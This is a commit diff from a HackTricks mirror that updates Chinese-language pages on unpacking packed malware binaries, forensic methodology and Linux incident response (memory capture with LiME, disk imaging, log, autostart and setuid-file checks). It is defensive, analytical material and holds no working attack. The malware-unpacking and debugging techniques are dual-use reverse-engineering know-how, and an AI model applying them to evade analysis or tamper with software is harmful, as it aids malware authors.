mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-21 20:23:18 +00:00
Translated ['crypto-and-stego/cryptographic-algorithms/unpacking-binarie
This commit is contained in:
parent
a3830edc40
commit
2e2bf40105
101 changed files with 4664 additions and 3849 deletions
|
@ -1,49 +1,54 @@
|
|||
{% hint style="success" %}
|
||||
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上**关注**我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来**分享您的黑客技巧**。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** 上关注我们。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
|
||||
|
||||
# 识别打包的二进制文件
|
||||
|
||||
* **缺少字符串**:发现打包的二进制文件几乎没有任何字符串是很常见的
|
||||
* 大量**未使用的字符串**:当恶意软件使用某种商业打包工具时,通常会发现大量没有交叉引用的字符串。即使存在这些字符串,也不意味着二进制文件没有被打包。
|
||||
* 您还可以使用一些工具来尝试找出用于打包二进制文件的打包工具:
|
||||
* **缺少字符串**:常见的情况是打包的二进制文件几乎没有任何字符串。
|
||||
* 很多 **未使用的字符串**:此外,当恶意软件使用某种商业打包工具时,常常会发现很多没有交叉引用的字符串。即使这些字符串存在,也并不意味着二进制文件没有被打包。
|
||||
* 你还可以使用一些工具来尝试找出用于打包二进制文件的打包工具:
|
||||
* [PEiD](http://www.softpedia.com/get/Programming/Packers-Crypters-Protectors/PEiD-updated.shtml)
|
||||
* [Exeinfo PE](http://www.softpedia.com/get/Programming/Packers-Crypters-Protectors/ExEinfo-PE.shtml)
|
||||
* [Language 2000](http://farrokhi.net/language/)
|
||||
|
||||
# 基本建议
|
||||
|
||||
* **从底部开始**在IDA中分析打包的二进制文件,然后向上移动。解包器在解包的代码退出时退出,因此解包器不太可能在开始时将执行权传递给解包的代码。
|
||||
* 搜索**JMP**或**CALL**到**寄存器**或**内存区域**。还要搜索**将参数推送到地址方向然后调用`retn`**的函数,因为在这种情况下函数的返回可能会调用刚刚推送到堆栈上的地址。
|
||||
* 在`VirtualAlloc`上设置**断点**,因为这会在程序可以写入解包的代码的内存空间中分配空间。"运行到用户代码"或使用F8在执行函数后**进入EAX内部的值**,然后**在转储中跟随该地址**。您永远不知道解包的代码将保存在哪个区域。
|
||||
* **`VirtualAlloc`**的值为“**40**”作为参数表示Read+Write+Execute(需要执行的某些代码将被复制到这里)。
|
||||
* **解包**代码时,通常会发现**多次调用**算术运算和函数,如**`memcopy`**或**`Virtual`**`Alloc`。如果发现自己在一个似乎只执行算术运算和可能一些`memcopy`的函数中,建议尝试**找到函数的结尾**(也许是JMP或调用某个寄存器)**或**至少是**最后一个函数的调用**,然后运行代码,因为这部分代码不重要。
|
||||
* 在解包代码时,**注意**每当**更改内存区域**时,内存区域的更改可能表示**解包代码的开始**。您可以使用Process Hacker轻松转储内存区域(进程 --> 属性 --> 内存)。
|
||||
* 尝试解包代码时,了解**您是否已经在处理解包的代码**(因此可以直接转储它)的一个好方法是**检查二进制文件的字符串**。如果在某个时刻执行了跳转(也许更改了内存区域)并且注意到**添加了更多字符串**,那么您就可以知道**您正在处理解包的代码**。\
|
||||
但是,如果打包工具已经包含了许多字符串,您可以查看包含单词“http”的字符串数量是否增加。
|
||||
* 当您从内存区域转储一个可执行文件时,您可以使用[PE-bear](https://github.com/hasherezade/pe-bear-releases/releases)修复一些标头。
|
||||
* **从底部开始** 在 IDA 中分析打包的二进制文件 **并向上移动**。解包器在解包代码退出时退出,因此解包器不太可能在开始时将执行权传递给解包代码。
|
||||
* 搜索 **JMP** 或 **CALL** 到 **寄存器** 或 **内存区域**。还要搜索 **推送参数和地址方向的函数,然后调用 `retn`**,因为在这种情况下,函数的返回可能会调用在调用之前刚推送到堆栈的地址。
|
||||
* 在 `VirtualAlloc` 上设置 **断点**,因为这会在内存中分配程序可以写入解包代码的空间。使用“运行到用户代码”或使用 F8 **获取执行函数后 EAX 中的值**,然后“**在转储中跟踪该地址**”。你永远不知道这是否是解包代码将要保存的区域。
|
||||
* **`VirtualAlloc`** 的参数值为 "**40**" 意味着可读+可写+可执行(一些需要执行的代码将被复制到这里)。
|
||||
* **在解包** 代码时,通常会发现 **多个调用** 到 **算术操作** 和像 **`memcopy`** 或 **`Virtual`**`Alloc` 的函数。如果你发现自己在一个显然只执行算术操作和可能一些 `memcopy` 的函数中,建议尝试 **找到函数的结束**(可能是 JMP 或调用某个寄存器) **或** 至少找到 **最后一个函数的调用**,然后运行到那里,因为代码并不有趣。
|
||||
* 在解包代码时 **注意** 每当你 **更改内存区域**,因为内存区域的变化可能表示 **解包代码的开始**。你可以使用 Process Hacker 轻松转储内存区域(进程 --> 属性 --> 内存)。
|
||||
* 在尝试解包代码时,知道你是否已经在处理解包代码的好方法(这样你可以直接转储它)是 **检查二进制文件的字符串**。如果在某个时刻你执行了跳转(可能更改了内存区域),并且你注意到 **添加了更多字符串**,那么你可以知道 **你正在处理解包代码**。\
|
||||
然而,如果打包器已经包含了很多字符串,你可以查看包含“http”这个词的字符串数量,并查看这个数字是否增加。
|
||||
* 当你从内存区域转储可执行文件时,可以使用 [PE-bear](https://github.com/hasherezade/pe-bear-releases/releases) 修复一些头部信息。
|
||||
|
||||
{% hint style="success" %}
|
||||
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上**关注**我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来**分享您的黑客技巧**。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** 上关注我们。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,16 +1,19 @@
|
|||
# 基本取证方法论
|
||||
|
||||
{% hint style="success" %}
|
||||
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 您在**网络安全公司**工作吗?想要在HackTricks中看到您的**公司广告**吗?或者想要访问**PEASS的最新版本或下载HackTricks的PDF**吗?查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[NFT收藏品**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方PEASS和HackTricks周边**](https://peass.creator-spring.com)
|
||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享您的黑客技巧。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## 创建和挂载镜像
|
||||
|
||||
|
@ -20,7 +23,7 @@
|
|||
|
||||
## 恶意软件分析
|
||||
|
||||
这**不一定是在获得镜像后执行的第一步**。但是,如果您有文件、文件系统镜像、内存镜像、pcap等,您可以独立使用这些恶意软件分析技术,因此**记住这些操作**是很有用的:
|
||||
这**并不是在获得镜像后必须执行的第一步**。但是如果你有一个文件、文件系统镜像、内存镜像、pcap...你可以独立使用这些恶意软件分析技术,因此**记住这些操作是很好的**:
|
||||
|
||||
{% content-ref url="malware-analysis.md" %}
|
||||
[malware-analysis.md](malware-analysis.md)
|
||||
|
@ -28,13 +31,13 @@
|
|||
|
||||
## 检查镜像
|
||||
|
||||
如果您获得了设备的**取证镜像**,您可以开始**分析分区、使用的文件系统**并**恢复**可能**有趣的文件**(甚至是已删除的文件)。在以下位置了解如何操作:
|
||||
如果你获得了一个**取证镜像**,你可以开始**分析分区、文件系统**以及**恢复**潜在的**有趣文件**(甚至是已删除的文件)。了解如何进行:
|
||||
|
||||
{% content-ref url="partitions-file-systems-carving/" %}
|
||||
[partitions-file-systems-carving](partitions-file-systems-carving/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
根据使用的操作系统甚至平台,应搜索不同的有趣的证据:
|
||||
根据使用的操作系统甚至平台,应该搜索不同的有趣文物:
|
||||
|
||||
{% content-ref url="windows-forensics/" %}
|
||||
[windows-forensics](windows-forensics/)
|
||||
|
@ -48,16 +51,16 @@
|
|||
[docker-forensics.md](docker-forensics.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## 对特定文件类型和软件进行深入检查
|
||||
## 深入检查特定文件类型和软件
|
||||
|
||||
如果您有一个非常**可疑的文件**,那么**根据文件类型和创建它的软件**,可能会有几种**技巧**很有用。\
|
||||
如果你有一个非常**可疑的****文件**,那么**根据文件类型和创建它的软件**,可能会有几种**技巧**是有用的。\
|
||||
阅读以下页面以了解一些有趣的技巧:
|
||||
|
||||
{% content-ref url="specific-software-file-type-tricks/" %}
|
||||
[specific-software-file-type-tricks](specific-software-file-type-tricks/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
我想特别提到页面:
|
||||
我想特别提到以下页面:
|
||||
|
||||
{% content-ref url="specific-software-file-type-tricks/browser-artifacts.md" %}
|
||||
[browser-artifacts.md](specific-software-file-type-tricks/browser-artifacts.md)
|
||||
|
@ -69,7 +72,7 @@
|
|||
[memory-dump-analysis](memory-dump-analysis/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Pcap检查
|
||||
## Pcap 检查
|
||||
|
||||
{% content-ref url="pcap-inspection/" %}
|
||||
[pcap-inspection](pcap-inspection/)
|
||||
|
@ -77,26 +80,29 @@
|
|||
|
||||
## **反取证技术**
|
||||
|
||||
请记住可能使用反取证技术:
|
||||
请记住可能使用的反取证技术:
|
||||
|
||||
{% content-ref url="anti-forensic-techniques.md" %}
|
||||
[anti-forensic-techniques.md](anti-forensic-techniques.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## 威胁猎杀
|
||||
## 威胁狩猎
|
||||
|
||||
{% content-ref url="file-integrity-monitoring.md" %}
|
||||
[file-integrity-monitoring.md](file-integrity-monitoring.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
{% hint style="success" %}
|
||||
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 您在**网络安全公司**工作吗?想要在HackTricks中看到您的**公司广告**吗?或者想要访问**PEASS的最新版本或下载HackTricks的PDF**吗?查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[NFT收藏品**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方PEASS和HackTricks周边**](https://peass.creator-spring.com)
|
||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享您的黑客技巧。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -17,8 +17,8 @@
|
|||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** 上关注我们。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** 上关注我们。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
@ -68,7 +68,7 @@ find /directory -type f -mtime -1 -print #Find modified files during the last mi
|
|||
{% endhint %}
|
||||
|
||||
因此,如果您有一个相同版本的 Ubuntu,您可以使用 `apt-get install lime-forensics-dkms`\
|
||||
在其他情况下,您需要从 github 下载 [**LiME**](https://github.com/504ensicsLabs/LiME) 并使用正确的内核头文件进行编译。要 **获取受害者机器的确切内核头文件**,您可以直接 **复制目录** `/lib/modules/<kernel version>` 到您的机器,然后 **使用它们编译** LiME:
|
||||
在其他情况下,您需要从 github 下载 [**LiME**](https://github.com/504ensicsLabs/LiME) 并使用正确的内核头文件进行编译。要 **获取受害者机器的确切内核头文件**,您可以直接 **复制目录** `/lib/modules/<kernel version>` 到您的机器,然后使用它们 **编译** LiME:
|
||||
```bash
|
||||
make -C /lib/modules/<kernel version>/build M=$PWD
|
||||
sudo insmod lime.ko "path=/home/sansforensics/Desktop/mem_dump.bin format=lime"
|
||||
|
@ -86,9 +86,9 @@ LiME 还可以用于 **通过网络发送转储**,而不是使用类似 `path=
|
|||
#### 关机
|
||||
|
||||
首先,您需要 **关闭系统**。这并不总是一个选项,因为有时系统可能是公司无法承受关闭的生产服务器。\
|
||||
有 **2 种** 关闭系统的方法,**正常关机** 和 **“拔掉插头”关机**。第一种方法将允许 **进程正常终止**,并使 **文件系统** **同步**,但这也可能允许潜在的 **恶意软件** **破坏证据**。“拔掉插头”方法可能会导致 **一些信息丢失**(由于我们已经获取了内存的映像,丢失的信息不会很多),并且 **恶意软件将没有机会** 采取任何行动。因此,如果您 **怀疑** 可能存在 **恶意软件**,请在系统上执行 **`sync`** **命令** 然后拔掉插头。
|
||||
有 **2 种方式** 关闭系统,**正常关机** 和 **“拔掉插头”关机**。第一种方式将允许 **进程正常终止**,并使 **文件系统** **同步**,但这也可能允许潜在的 **恶意软件** **破坏证据**。“拔掉插头”方法可能会带来 **一些信息丢失**(由于我们已经获取了内存的镜像,丢失的信息不会很多),并且 **恶意软件将没有机会** 采取任何行动。因此,如果您 **怀疑** 可能存在 **恶意软件**,请在系统上执行 **`sync`** **命令** 然后拔掉插头。
|
||||
|
||||
#### 获取磁盘映像
|
||||
#### 获取磁盘镜像
|
||||
|
||||
重要的是要注意,在 **将计算机连接到与案件相关的任何设备之前**,您需要确保它将以 **只读方式挂载**,以避免修改任何信息。
|
||||
```bash
|
||||
|
@ -171,7 +171,7 @@ Linux 提供工具以确保系统组件的完整性,这对于发现潜在问
|
|||
* **基于 RedHat 的系统**:使用 `rpm -Va` 进行全面检查。
|
||||
* **基于 Debian 的系统**:使用 `dpkg --verify` 进行初步验证,然后使用 `debsums | grep -v "OK$"`(在使用 `apt-get install debsums` 安装 `debsums` 后)来识别任何问题。
|
||||
|
||||
### 恶意软件/Rootkit 检测器
|
||||
### 恶意软件/根套件检测器
|
||||
|
||||
阅读以下页面以了解可以帮助查找恶意软件的工具:
|
||||
|
||||
|
@ -186,7 +186,7 @@ Linux 提供工具以确保系统组件的完整性,这对于发现潜在问
|
|||
* 对于 Debian,检查 _**`/var/lib/dpkg/status`**_ 和 _**`/var/log/dpkg.log`**_ 以获取有关软件包安装的详细信息,使用 `grep` 过滤特定信息。
|
||||
* RedHat 用户可以使用 `rpm -qa --root=/mntpath/var/lib/rpm` 查询 RPM 数据库以列出已安装的软件包。
|
||||
|
||||
要发现手动安装或在这些软件包管理器之外安装的软件,探索像 _**`/usr/local`**_、_**`/opt`**_、_**`/usr/sbin`**_、_**`/usr/bin`**_、_**`/bin`**_ 和 _**`/sbin`**_ 等目录。将目录列表与特定于系统的命令结合使用,以识别与已知软件包无关的可执行文件,从而增强您对所有已安装程序的搜索。
|
||||
要发现手动安装或在这些软件包管理器之外安装的软件,探索 _**`/usr/local`**_、_**`/opt`**_、_**`/usr/sbin`**_、_**`/usr/bin`**_、_**`/bin`**_ 和 _**`/sbin`**_ 等目录。将目录列表与特定于系统的命令结合使用,以识别与已知软件包无关的可执行文件,从而增强您对所有已安装程序的搜索。
|
||||
```bash
|
||||
# Debian package and log details
|
||||
cat /var/lib/dpkg/status | grep -E "Package:|Status:"
|
||||
|
@ -245,8 +245,8 @@ ls -l /usr/lib/cron/tabs/ /Library/LaunchAgents/ /Library/LaunchDaemons/ ~/Libra
|
|||
* **/etc/systemd/system**: 系统和服务管理器脚本的目录。
|
||||
* **/etc/systemd/system/multi-user.target.wants/**: 包含应在多用户运行级别启动的服务的链接。
|
||||
* **/usr/local/etc/rc.d/**: 用于自定义或第三方服务。
|
||||
* **\~/.config/autostart/**: 用户特定的自动启动应用程序,可以成为针对用户的恶意软件的隐藏地点。
|
||||
* **/lib/systemd/system/**: 安装包提供的系统范围的默认单元文件。
|
||||
* **\~/.config/autostart/**: 用户特定的自动启动应用程序,可以是针对用户的恶意软件的隐藏地点。
|
||||
* **/lib/systemd/system/**: 安装包提供的系统范围默认单元文件。
|
||||
|
||||
### 内核模块
|
||||
|
||||
|
@ -261,7 +261,7 @@ Linux 内核模块,通常被恶意软件作为 rootkit 组件使用,在系
|
|||
Linux 使用各种文件在用户登录时自动执行程序,可能隐藏恶意软件:
|
||||
|
||||
* **/etc/profile.d/**\*, **/etc/profile** 和 **/etc/bash.bashrc**: 在任何用户登录时执行。
|
||||
* **\~/.bashrc**, **\~/.bash\_profile**, **\~/.profile** 和 **\~/.config/autostart**: 用户特定的文件,在他们登录时运行。
|
||||
* **\~/.bashrc**,**\~/.bash\_profile**,**\~/.profile** 和 **\~/.config/autostart**: 用户特定的文件,在他们登录时运行。
|
||||
* **/etc/rc.local**: 在所有系统服务启动后运行,标志着过渡到多用户环境的结束。
|
||||
|
||||
## 检查日志
|
||||
|
@ -308,10 +308,10 @@ Linux 系统日志和审计子系统可能在入侵或恶意软件事件中被
|
|||
一些应用程序还会生成自己的日志:
|
||||
|
||||
* **SSH**: 检查 _\~/.ssh/authorized\_keys_ 和 _\~/.ssh/known\_hosts_ 以查找未经授权的远程连接。
|
||||
* **Gnome 桌面**: 查看 _\~/.recently-used.xbel_ 以查找通过 Gnome 应用程序访问的最近文件。
|
||||
* **Firefox/Chrome**: 检查 _\~/.mozilla/firefox_ 或 _\~/.config/google-chrome_ 中的浏览器历史记录和下载,以查找可疑活动。
|
||||
* **Gnome 桌面**: 查看 _\~/.recently-used.xbel_ 以查找通过 Gnome 应用程序最近访问的文件。
|
||||
* **Firefox/Chrome**: 检查 _\~/.mozilla/firefox_ 或 _\~/.config/google-chrome_ 中的浏览器历史和下载,以查找可疑活动。
|
||||
* **VIM**: 检查 _\~/.viminfo_ 以获取使用详情,例如访问的文件路径和搜索历史。
|
||||
* **Open Office**: 检查最近的文档访问,以确定是否有被破坏的文件。
|
||||
* **Open Office**: 检查最近的文档访问,以指示可能被破坏的文件。
|
||||
* **FTP/SFTP**: 检查 _\~/.ftp\_history_ 或 _\~/.sftp\_history_ 中的日志,以查找可能未经授权的文件传输。
|
||||
* **MySQL**: 检查 _\~/.mysql\_history_ 以调查执行的 MySQL 查询,可能揭示未经授权的数据库活动。
|
||||
* **Less**: 分析 _\~/.lesshst_ 以获取使用历史,包括查看的文件和执行的命令。
|
||||
|
@ -321,7 +321,7 @@ Linux 系统日志和审计子系统可能在入侵或恶意软件事件中被
|
|||
|
||||
[**usbrip**](https://github.com/snovvcrash/usbrip) 是一个用纯 Python 3 编写的小软件,它解析 Linux 日志文件(`/var/log/syslog*` 或 `/var/log/messages*`,具体取决于发行版),以构建 USB 事件历史表。
|
||||
|
||||
了解 **所有使用过的 USB** 是很有趣的,如果你有一个授权的 USB 列表来查找“违规事件”(使用不在该列表中的 USB),将更有用。
|
||||
了解**所有使用过的 USB** 是很有趣的,如果你有一个授权的 USB 列表来查找“违规事件”(不在该列表中的 USB 使用),将更有用。
|
||||
|
||||
### 安装
|
||||
```bash
|
||||
|
@ -349,7 +349,7 @@ usbrip ids search --pid 0002 --vid 0e0f #Search for pid AND vid
|
|||
## 审查用户账户和登录活动
|
||||
|
||||
检查 _**/etc/passwd**_、_**/etc/shadow**_ 和 **安全日志**,寻找不寻常的名称或在已知未授权事件附近创建和使用的账户。同时,检查可能的 sudo 暴力攻击。\
|
||||
此外,检查像 _**/etc/sudoers**_ 和 _**/etc/groups**_ 这样的文件,寻找意外授予用户的权限。\
|
||||
此外,检查像 _**/etc/sudoers**_ 和 _**/etc/groups**_ 这样的文件,查看是否有意外的权限授予给用户。\
|
||||
最后,查找 **没有密码** 或 **容易猜测** 的密码的账户。
|
||||
|
||||
## 检查文件系统
|
||||
|
@ -366,7 +366,7 @@ usbrip ids search --pid 0002 --vid 0e0f #Search for pid AND vid
|
|||
* **搜索隐藏文件或目录**,名称可能为 ".. "(点点空格)或 "..^G"(点点控制-G),这些可能隐藏恶意内容。
|
||||
* **识别 setuid root 文件**,使用命令:`find / -user root -perm -04000 -print` 这将找到具有提升权限的文件,可能被攻击者滥用。
|
||||
* **检查 inode 表中的删除时间戳**,以发现大规模文件删除,可能表明存在 rootkit 或木马。
|
||||
* **检查连续的 inode**,在识别一个恶意文件后,寻找附近的恶意文件,因为它们可能被放在一起。
|
||||
* **检查连续的 inode**,在识别一个恶意文件后,查看附近的恶意文件,因为它们可能被放在一起。
|
||||
* **检查常见的二进制目录** (_/bin_、_/sbin_) 中最近修改的文件,因为这些文件可能被恶意软件更改。
|
||||
````bash
|
||||
# List recent files in a directory:
|
||||
|
@ -376,7 +376,7 @@ ls -laR --sort=time /bin```
|
|||
ls -lai /bin | sort -n```
|
||||
````
|
||||
{% hint style="info" %}
|
||||
注意,一个**攻击者**可以**修改**时间,使**文件看起来**是**合法的**,但他**无法**修改**inode**。如果你发现一个**文件**显示它的创建和修改时间与同一文件夹中其他文件的**时间相同**,但**inode**却**意外地更大**,那么该**文件的时间戳被修改**了。
|
||||
注意,一个**攻击者**可以**修改**时间,使**文件看起来**是**合法的**,但他**无法**修改**inode**。如果你发现一个**文件**显示它的创建和修改时间与同一文件夹中其他文件的**时间相同**,但**inode**却**意外地更大**,那么该**文件的时间戳被修改了**。
|
||||
{% endhint %}
|
||||
|
||||
## 比较不同文件系统版本的文件
|
||||
|
@ -415,24 +415,25 @@ git diff --no-index --diff-filter=D path/to/old_version/ path/to/new_version/
|
|||
* [https://git-scm.com/docs/git-diff#Documentation/git-diff.txt---diff-filterACDMRTUXB82308203](https://git-scm.com/docs/git-diff#Documentation/git-diff.txt---diff-filterACDMRTUXB82308203)
|
||||
* **书籍:Linux系统恶意软件取证实用指南:数字取证实用指南**
|
||||
|
||||
{% hint style="success" %}
|
||||
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零到英雄学习AWS黑客技术</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
